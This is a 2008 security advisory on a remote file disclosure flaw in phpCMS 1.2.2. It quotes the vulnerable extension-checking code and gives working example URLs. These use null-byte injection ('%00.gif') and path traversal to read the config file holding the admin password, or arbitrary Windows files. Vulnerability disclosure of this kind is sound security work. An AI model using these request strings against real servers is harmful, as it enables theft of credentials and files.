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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-005
Application: phpCMS
Versions Affected: 1.2.2
Vendor URL: http://www.phpcms.de
Bug: Remote File Disclosure, Get admin password
Exploits: YES
Reported: 10.01.2008
Vendor response: 12.01.2008
Date of Public Advisory: 29.01.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
phpCMS system has remote File Disclosure vulnerability in page /parser/include/class.cache_phpcms.php
Details
*******
Attacer can read any files in web directory.
In file parser/parser.php include class.cache_phpcms.php
---------------------------------------
// Load the i18n Handler
if (isset ($_GET ['file']) && isset($DEFAULTS->I18N) && 'on' == $DEFAULTS->I18N) {
include(PHPCMS_INCLUDEPATH.'/class.lib_i18n_phpcms.
php');
$I18N = &new i18n;
}
$PHPCMS->check_secure_stealth();
include(PHPCMS_INCLUDEPATH.'/class.cache_phpcms.php');
exit;
---------------------------------------
In file class.cache_phpcms.php function GetFile() parse URL and return full file name or default value.
Function checks file extension but does't check for null byte injection.
To read file attacker must append a valid extension with null byte to file like a "%00.gif" or smth.
---------------------------------------
// filequery exists, but filename is empty? -> set the defaultvalue for filename
if(!stristr($temp, $DEFAULTS->PAGE_EXTENSION) AND
!stristr($temp, '.gif') AND
!stristr($temp, '.png') AND
!stristr($temp, '.jpg') AND
!stristr($temp, '.js') AND
!stristr($temp, '.css') AND
!stristr($temp, '.htm') AND
!stristr($temp, '.html'))
{ if(substr($temp, -1) != '/') {
$temp = trim($temp).'/'.$DEFAULTS->PAGE_DEFAULTNAME;
$temp.= $DEFAULTS->PAGE_EXTENSION;
} else {
$temp = trim($temp).$DEFAULTS->PAGE_DEFAULTNAME;
$temp.= $DEFAULTS->PAGE_EXTENSION;
}
}
---------------------------------------
In file class.cache_phpcms.php function CheckFile() take file name and if file exist read it and print file contents.
---------------------------------------
$PfadUndDatei = $this->GetFile();
$this->name = basename($PfadUndDatei);
$this->path = dirname($PfadUndDatei);
...
// there's no contentfile with this name -> errorpage or errormessage
if(!file_exists($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.
$this->name)) {
$errorname = basename($DEFAULTS->ERROR_PAGE_404);
$errorpath = dirname($DEFAULTS->ERROR_PAGE_404);
...
...
$fsize = filesize($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this-
>name);
$fd = fopen($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this->name, "rb");
$contents = fread($fd, $fsize);
$contents = trim($contents);
$fsize = strlen($contents);
fclose($fd);
...
echo $contents;
---------------------------------------
Example:
http://[server]/[installdir]/parser/parser.php?file=/parser/include/default.
php%00.gif
default.php includes admin password and other defaults:
---------------------------------------
class defaults {
function defaults() {
global $PHP, $PHPCMS;
if(!defined("_DEFAULTS_")) {
define("_DEFAULTS_", TRUE);
}
$this->PASS = 'YourPasswordHere';
...
---------------------------------------
In windows we can read any local file:
http://[server]/[installdir]/parser/parser.php?file=\..\..\..\..
\..\..\..\..\..\..\boot.ini%00.gif
http://www.phpcms.de/download/index.en.html
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
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Digital Security Research Group
mailto:research@dsec.ru
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